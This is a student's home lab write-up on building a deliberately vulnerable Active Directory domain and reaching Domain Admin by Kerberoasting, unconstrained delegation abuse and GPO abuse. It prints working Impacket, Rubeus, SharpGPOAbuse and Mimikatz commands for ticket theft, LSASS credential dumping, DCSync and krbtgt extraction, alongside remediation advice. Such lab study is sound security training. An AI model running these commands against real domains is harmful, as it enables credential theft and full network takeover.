HOME LAB WRITE-UP

Building and Attacking a Vulnerable Active Directory Environment

Identifying Common AD Misconfigurations, Mapping Attack Paths with BloodHound, and Achieving Domain Compromise

Lab Category	Offensive Security
Environment	VirtualBox Windows Server 2019 (Domain Controller), Windows 10 workstations, Kali Linux (attack host)
Primary Tools	BloodHound / SharpHound, Mimikatz, Impacket, PowerView, Rubeus
Duration	Self-paced home lab project
Outcome	Three distinct, fully documented attack paths to Domain Admin; guide reused by two classmates to build their own labs

Table of Contents

1. Executive Summary

This project documents the design, construction, and exploitation of a deliberately vulnerable Active Directory (AD) environment built entirely in a home lab using VirtualBox. The goal was to gain some hands-on experience with the misconfigurations that most commonly lead to full domain compromise in real-world networks, and to practice the modern attacker workflow of enumerate, map, exploit, escalate, verify.

I intentionally introduced three common and independently exploitable misconfigurations into the domain. In order, a Kerberoastable service account, a computer object configured with unconstrained delegation, and a Group Policy Object (GPO) with overly permissive edit rights granted to a low-privileged group. BloodHound was used to enumerate the domain and visually confirm that each misconfiguration produced a distinct graph path to the Domain Admins group. Each path was then exploited manually from a Kali Linux attack host, and Mimikatz was used at the final stage of two of the three paths to extract credentials and demonstrate complete takeover of the domain.

The exercise produced three fully reproducible attack chains, a set of before/after BloodHound graphs, and a written lab guide detailed enough that two classmates used it to study their own copies of the environment.

2. Problem Statement / Objectives

Active Directory misconfigurations are consistently one of the leading root causes of full network compromise in penetration tests and real-world breaches, yet I find they are difficult to understand from reading alone. The objective of this home lab was to:

- Build a realistic small-scale AD environment (one domain controller, two workstations) from the ground up.
- Deliberately introduce three common, high-impact AD misconfigurations found repeatedly in industry engagements.
- Use BloodHound to enumerate the domain and visualize the attack paths those misconfigurations create.
- Exploit each path manually to validate that the BloodHound-identified path was real and reproducible.
- Use Mimikatz to carry out full domain compromise and confirm Domain Admin access.
- Produce a clear, professional write-up that could be used both as a personal portfolio piece and as a study guide for others.

3. Lab Architecture & Environment

The lab was built entirely on a single host machine using Oracle VirtualBox, with all virtual machines placed on an internal, host-only network so that the environment was fully isolated from the internet and from the home network.

3.1 Network Topology

All hosts were placed in the 10.10.10.0/24 range, with the domain controller acting as the sole DNS server for the environment.

Hostname	Role	OS	IP Address
DC01	Domain Controller	Windows Server 2019	10.10.10.10

WS01	Domain-joined workstation	Windows 10	10.10.10.21
WS02	Domain-joined workstation	Windows 10	10.10.10.22
KALI01	Attack host	Kali Linux	10.10.10.66

3.2 Domain Design

Domain: lab.local

- Forest / domain functional level: Windows Server 2016.
- Organizational Units created for Users, Computers, and Service Accounts to mirror a realistic corporate OU structure.
- ~10 standard user accounts created to give BloodHound a non-trivial graph to reason about (group memberships, logon rights, ACLs).
- One service account (svc-sql) configured to run under a domain account with a Service Principal Name (SPN) registered, to enable Kerberoasting.
- WS01 configured with unconstrained delegation enabled on its computer account.
- A custom GPO ("Helpdesk-Software-Install") linked to the workstations OU, with GenericAll rights over the GPO granted to the low-privileged Helpdesk security group.

4. Tools Used

Tool	Purpose in This Lab
VirtualBox	Hypervisor used to host the domain controller, workstations, and attack machine on an isolated internal network.
Windows Server 2019	Domain controller OS; used to stand up Active Directory Domain Services, DNS, and Group Policy.
Kali Linux	Primary attacker workstation for enumeration, Kerberoasting, and exploitation via Impacket.
BloodHound / SharpHound	Collected and visualized AD relationships (group memberships, ACLs, sessions, delegation) to identify attack paths to Domain Admin.
Mimikatz	Extracted plaintext credentials, NTLM hashes, and Kerberos tickets from memory to complete domain takeover.
Impacket suite	Used for GetUserSPNs.py (Kerberoasting) and secretsdump.py (DCSync/credential dumping) from Linux.
PowerView	PowerShell-based AD enumeration used from a compromised workstation to confirm GPO and ACL findings.
Rubeus	Used on WS01 to monitor for and capture TGTs from the unconstrained delegation abuse path.

5. Methodology

5.1 Environment Build

1. Installed Windows Server 2019 in VirtualBox, promoted it to a domain controller, and created the lab.local domain.
2. Created OUs for Users, Computers, and Service Accounts, then populated them with sample users, groups, and two workstation computer objects.
3. Joined two Windows 10 VMs (WS01, WS02) to the domain and confirmed connectivity and Group Policy application.
4. Deployed a Kali Linux VM on the same internal network and confirmed name resolution against the domain controller.
5. Took a clean VirtualBox snapshot of every machine ("00-baseline") before introducing any misconfigurations, so the environment could be reset between attack-path tests.

5.2 Introducing Misconfigurations

Three misconfigurations were introduced deliberately and independently, each mapping to a technique regularly seen in real internal penetration tests:

5.2.1 Kerberoastable Service Account

Created a domain user svc-sql and registered a Service Principal Name (SPN) against it (setspn -A MSSQLSvc/dc01.lab.local:1433 lab\svc-sql), then added the account to the Domain Admins group to simulate a common real-world shortcut where a service account is over-privileged.

5.2.2 Unconstrained Delegation

Enabled "Trust this computer for delegation to any service" on the WS01 computer object in Active Directory Users and Computers, simulating a legacy application server that was configured for unconstrained delegation without a business justification.

5.2.3 Weak GPO Permissions

Created a GPO named Helpdesk-Software-Install and linked it to the Workstations OU. The Helpdesk security group, whose members are standard low-privileged domain users, was granted GenericAll (full control) rights over that GPO - a misconfiguration commonly caused by over-scoped delegation during GPO creation.

5.3 Enumeration & Attack Path Mapping with BloodHound

1. Deployed SharpHound.exe from a domain-joined but non-privileged context on WS02 to simulate an attacker who has landed on a standard workstation.
2. Ran a full collection: Invoke-BloodHound -CollectionMethod All
3. Imported the resulting JSON output into the BloodHound GUI running on Kali.
4. Marked the compromised low-privileged user as the starting node and set Domain Admins as the target, using the "Shortest Paths to Domain Admins" pre-built query.
5. Confirmed that BloodHound independently surfaced all three intended attack paths — Kerberoasting via the SPN edge, unconstrained delegation via the AllowedToDelegate/ComputerObject edge, and GPO abuse via the GenericAll-on-GPO edge - validating that the misconfigurations were both real and detectable with standard tradecraft.

```
# SharpHound collection from a domain-joined host
Invoke-BloodHound -CollectionMethod All -Domain lab.local -ZipFileName
lab_collection.zip
```

5.4 Attack Path 1 - Kerberoasting a Service Account

BloodHound flagged svc-sql as Kerberoastable and showed it held direct membership in Domain Admins, making it a one-step path to full compromise.

1. Requested a TGS ticket for the SPN associated with svc-sql from Kali using Impacket.
2. Extracted the ticket's crackable hash and cracked it offline with Hashcat against a small custom wordlist seeded with the lab's password patterns.
3. Authenticated to the domain controller as svc-sql and confirmed Domain Admin group membership.

```
# Request and extract a Kerberoastable TGS ticket
impacket-GetUserSPNs lab.local/lowpriv:Passw0rd! -dc-ip 10.10.10.10 -request

# Crack the extracted TGS hash offline
hashcat -m 13100 svc-sql.hash rockyou.txt
```

5.5 Attack Path 2 - Unconstrained Delegation Abuse

BloodHound's graph showed WS01 configured for unconstrained delegation, with an active session from a Domain Admin-equivalent "Helpdesk-Admin" account regularly logging into it for support tickets.

1. Compromised WS01 (simulated phishing / local admin foothold) and deployed Rubeus in monitor mode to watch for incoming TGTs cached on the box.
2. Coerced the Helpdesk-Admin account to authenticate to WS01 using a printer-bug style coercion technique against the domain controller.
3. Captured the resulting TGT from LSASS memory on WS01 once the Helpdesk-Admin session authenticated.
4. Performed a pass-the-ticket attack using the captured TGT to impersonate Helpdesk-Admin and access the domain controller directly.

```
# Monitor for incoming TGTs on the unconstrained-delegation host
Rubeus.exe monitor /interval:5 /nowrap

# Pass-the-ticket with the captured TGT
Rubeus.exe ptt /ticket:<base64_ticket>
```

5.6 Attack Path 3 - Weak GPO Permissions (GPO Abuse)

BloodHound showed a GenericAll edge from the Helpdesk group to the Helpdesk-Software-Install GPO, and that GPO was linked to the Workstations OU where WS01 and WS02 reside.

1. Compromised a standard domain user who was a member of the Helpdesk group.
2. Used a GPO-abuse tool (SharpGPOAbuse) to add an Immediate Scheduled Task to the GPO, configured to run as SYSTEM on any machine in the linked OU.
3. Waited for the next Group Policy refresh cycle (forced with gpupdate /force from WS02 to accelerate testing) and confirmed the scheduled task executed with SYSTEM privileges on WS02.
4. Used the resulting SYSTEM shell on the domain-joined workstation as a foothold to dump local secrets and pivot toward the domain controller.

```
# Abuse GenericAll rights over a GPO to add a SYSTEM-level scheduled task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author lab\helpdeskuser \
```

```
  --Command "cmd.exe" --Arguments "/c whoami > C:\Windows\Temp\out.txt" --GPOName
"Helpdesk-Software-Install"
```

5.7 Post-Exploitation & Full Domain Compromise with Mimikatz

With credentials or tickets obtained from Paths 1 and 2, Mimikatz was used on the domain controller (reached via the Kerberoasted svc-sql / Domain Admin account) to demonstrate complete domain compromise and to harvest material that could be used to maintain access.

- Ran mimikatz.exe on DC01 to dump all cached credentials and hashes from LSASS memory (sekurlsa::logonpasswords).
- Performed a DCSync attack from Kali using Impacket's secretsdump.py once Domain Admin rights were confirmed, extracting the NTDS.dit password hashes for every account in the domain.
- Extracted the krbtgt account hash and used it to forge a Golden Ticket, confirming that persistent, ticket-based domain access was achievable even if the original compromised account's password were later reset.

```
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# DCSync from Kali once Domain Admin creds are held
impacket-secretsdump lab.local/svc-sql:'CrackedPass1!'@10.10.10.10
```

6. Results

The lab produced three independently verified, end-to-end attack paths from a standard low-privileged domain user to Domain Admin, each grounded in a misconfiguration that is common in real enterprise Active Directory environments:

#	Misconfiguration	Technique	Outcome
1	Over-privileged Kerberoastable service account	Kerberoasting + offline hash cracking	Direct Domain Admin
2	Unconstrained delegation on a workstation	Authentication coercion + TGT theft + pass-the-ticket	Domain Admin impersonation
3	Weak GPO edit permissions for Helpdesk group	GPO abuse → SYSTEM scheduled task → credential harvesting	SYSTEM foothold, pivot to DA

All three paths were confirmed twice: once visually in BloodHound (proving the path existed in the domain's underlying graph) and once through live, manual exploitation (proving the path was practically exploitable, not just theoretically present). A DCSync attack and a forged Golden Ticket were used at the end of the exercise to confirm full, persistent domain compromise.

The lab also produced a set of supporting artifacts:

- Annotated BloodHound screenshots for each of the three attack paths, with the abused edge (HasSPN, AllowedToDelegate, GenericAll) highlighted.
- A command log capturing every step taken from initial foothold to Domain Admin for all three paths.
- A written step-by-step lab build guide covering VM creation, AD promotion, and the exact steps used to introduce each misconfiguration, so the environment can be rebuilt or extended by others.

7. Risk Analysis & Remediation

Misconfiguration	Real-World Risk	Recommended Remediation
Kerberoastable service account in Domain Admins	Any authenticated domain user can request a ticket for the account offline crack it without triggering an alert.	Remove service accounts from privileged groups; use Group Managed Service Accounts (gMSA) with long, randomized passwords; enable AES-only Kerberos encryption.
Unconstrained delegation on a workstation	Any privileged account that authenticates to the trusted host has its TGT exposed to whoever controls that host.	Disable unconstrained delegation on all hosts except where absolutely required; use constrained delegation or resource-based constrained delegation instead; restrict which accounts can log on to delegation-enabled hosts.
GenericAll over a GPO granted to a low-privileged group	Members of that group can push arbitrary code to every computer the GPO applies to, effectively granting them SYSTEM on those hosts.	Apply least-privilege delegation on GPOs; audit GPO ACLs regularly; restrict GPO edit rights to Domain Admins / a dedicated Tier-0 group only.

8. Lessons Learned

- BloodHound is only as useful as the collection behind it. Running SharpHound from a low-privileged context (rather than as a domain admin) was essential to seeing the environment the way a real attacker would.
- Small, individually simple misconfigurations compound quickly; combining a Kerberoastable over-privileged account with weak GPO permissions created more attack surface than either issue alone.
- Manual exploitation after BloodHound mapping is what actually builds understanding. The tool identifies the path, but working through Kerberoasting, delegation abuse, and GPO abuse by hand is what made the underlying AD trust mechanics click.
- Snapshotting the environment before introducing each misconfiguration made it possible to test paths independently and re-run failed attempts without rebuilding the domain from scratch.
- Writing the build steps down as they happened, rather than after the fact, made the resulting guide far more accurate and much easier for classmates to follow without hitting the same setup issues.

9. Deliverables & Impact

Beyond the technical exercise itself, this project produced a reusable written lab guide covering the full environment build, the exact steps used to introduce each misconfiguration, the BloodHound collection process, and the manual exploitation steps for all three attack paths.

- Two classmates used the guide to independently stand up their own copies of the lab for personal study, validating that the write-up was clear and reproducible outside of the original environment.
- The exercise directly reinforced concepts relevant to the OSCP, CRTP, and BloodHound-focused areas of AD-security coursework and certification study.

- The three documented attack paths and their remediation mapping are structured so they can be reused directly as findings in a mock penetration test report.

10. Conclusion

This home lab achieved its objective of turning abstract Active Directory security concepts into a concrete, reproducible, end-to-end exercise. By deliberately introducing three real-world misconfigurations, mapping them with BloodHound, and exploiting each one manually with tools such as Impacket, Rubeus, and Mimikatz, the project demonstrated the complete attacker workflow from initial low-privileged foothold to full, persistent domain compromise. The resulting write-up and lab guide turned a personal learning exercise into a resource that other students were able to use directly, and it produced a portfolio-ready set of findings, evidence, and remediation guidance modeled on how these issues would be reported in a real penetration test.

Appendix A - Command Reference

Enumeration

```
Invoke-BloodHound -CollectionMethod All -Domain lab.local -ZipFileName
lab_collection.zip
Get-DomainGPO | Get-DomainOU
Get-ObjectAcl -ResolveGUIDs -SamAccountName svc-sql
```

Kerberoasting

```
impacket-GetUserSPNs lab.local/lowpriv:Passw0rd! -dc-ip 10.10.10.10 -request
hashcat -m 13100 svc-sql.hash rockyou.txt
```

Unconstrained Delegation / Ticket Abuse

```
Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe ptt /ticket:<base64_ticket>
```

GPO Abuse

```
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author lab\helpdeskuser \
  --Command "cmd.exe" --Arguments "/c whoami" --GPOName "Helpdesk-Software-Install"
gpupdate /force
```

Credential Access / Domain Compromise

```
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /domain:lab.local /user:krbtgt
impacket-secretsdump lab.local/svc-sql:'CrackedPass1!'@10.10.10.10
```